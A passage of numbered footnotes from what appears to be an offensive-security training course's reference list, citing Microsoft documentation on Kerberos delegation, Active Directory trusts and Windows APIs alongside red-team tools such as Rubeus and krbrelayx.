  919. (Microsoft, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn466518(v=ws.11)?redirectedfrom=MSDN↩︎

  920. (@harmj0y, 2020), https://github.com/GhostPack/Rubeus↩︎

  921. (Dirk-jan Mollema, 2019), https://github.com/dirkjanm/krbrelayx↩︎

  922. (@rvrsh3ll, 2020), https://github.com/rvrsh3ll/Rubeus-Rundll32↩︎

  923. (Microsoft, 2019), https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/02636893-7a1f-4357-af9a-b672e3e3de13↩︎

  924. (Microsoft, 2020), https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/bde93b0e-f3c9-4ddf-9f44-e1453be7af5a↩︎

  925. (Microsoft, 2019), https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/86261ca1-154c-41fb-8e5f-c6446e77daaa↩︎

  926. (Benjamin Delphy, 2019), https://github.com/gentilkiwi/kekeo↩︎

  927. (@harmj0y, 2018), http://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/↩︎

  928. (Microsoft, 2017), https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/enable-computer-and-user-accounts-to-be-trusted-for-delegation↩︎

  929. (Microsoft, 2016), https://docs.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview↩︎

  930. (Microsoft, 2019), https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/cea4ac11-a4b2-4f2d-84cc-aebb4a4ad405?redirectedfrom=MSDN↩︎

  931. (Kevin Robertson, 2020), https://github.com/Kevin-Robertson/Powermad↩︎

  932. (Microsoft, 2020), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/convertto-securestring?view=powershell-7↩︎

  933. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.security.accesscontrol.rawsecuritydescriptor?view=netframework-4.8↩︎

  934. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/ad/forests↩︎

  935. (Microsoft, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn579255(v=ws.11)?redirectedfrom=MSDN↩︎

  936. (Microsoft, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)↩︎

  937. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?view=netframework-4.8↩︎

  938. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/dsgetdc/nf-dsgetdc-dsenumeratedomaintrustsa↩︎

  939. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/adschema/c-trusteddomain↩︎

  940. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.directorysearcher?view=netframework-4.8↩︎

  941. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.directoryentry?view=netframework-4.8↩︎

  942. (Microsoft, 2019), https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/69e86ccc-85e3-41b9-b514-7d969cd0ed73?redirectedfrom=MSDN↩︎

  943. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sids↩︎

  944. (Microsoft, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc772217(v=ws.11)↩︎

  945. (@harmj0y, 2018), https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/↩︎

  946. (Microsoft, 2019), https://support.microsoft.com/en-us/help/4490425/updates-to-tgt-delegation-across-incoming-trusts-in-windows-server↩︎

  947. (Microsoft, 2014), https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc755321(v=ws.10)?redirectedfrom=MSDN↩︎

  948. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.forest.getalltrustrelationships?view=netframework-4.8↩︎

  949. (Microsoft, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc772217(v=ws.11)↩︎

  950. (Microsoft, 2020), https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/55fc19f2-55ba-4251-8a6a-103dd7c66280?redirectedfrom=MSDN↩︎

  951. (Microsoft, 2017), https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups↩︎

  952. (Dirk-jan Mollema, 2019), https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/↩︎

  953. (Fox IT, 2018), https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/↩︎

  954. (OJ Reeves, 2020), https://github.com/OJ/gobuster↩︎

  955. (Kali, 2020), https://tools.kali.org/web-applications/dirbuster↩︎

  956. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Windows_10_version_history↩︎

  957. (@dafthack, 2020), https://github.com/dafthack/HostRecon↩︎

  958. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthn/lsa-logon-sessions↩︎

  959. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows/win32/api/userenv/nf-userenv-createenvironmentblock↩︎

  960. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-getsystemdirectoryw↩︎

  961. (pinvoke.net, 2020), https://www.pinvoke.net/default.aspx/userenv/CreateEnvironmentBlock.html↩︎

  962. ↩︎
  963. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.security.principal.windowsidentity.getcurrent?view=dotnet-plat-ext-3.1↩︎

  964. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-reverttoself↩︎

  965. (Pinvoke.net, 2020), https://www.pinvoke.net/default.aspx/Structures/CreateProcessWithTokenW.html↩︎

  966. (Microsoft, 2018), https://docs.microsoft.com/en-gb/windows/win32/winstation/desktops↩︎

  967. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/winstation/window-station-and-desktop-creation↩︎

  968. (ss64, 2020), https://ss64.com/nt/sc.html↩︎

  969. (@HarmJ0y, 2020), https://github.com/GhostPack/Rubeus#sidenote-running-rubeus-through-powershell↩︎

  970. (Martin Brinkmann, 2017), https://www.ghacks.net/2017/08/29/microsoft-network-realtime-inspection-service-information/↩︎

  971. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus↩︎

  972. (Offensive Security, 2020), https://help.offensive-security.com/hc/en-us/articles/360050293792-OSEP-Exam-Guide↩︎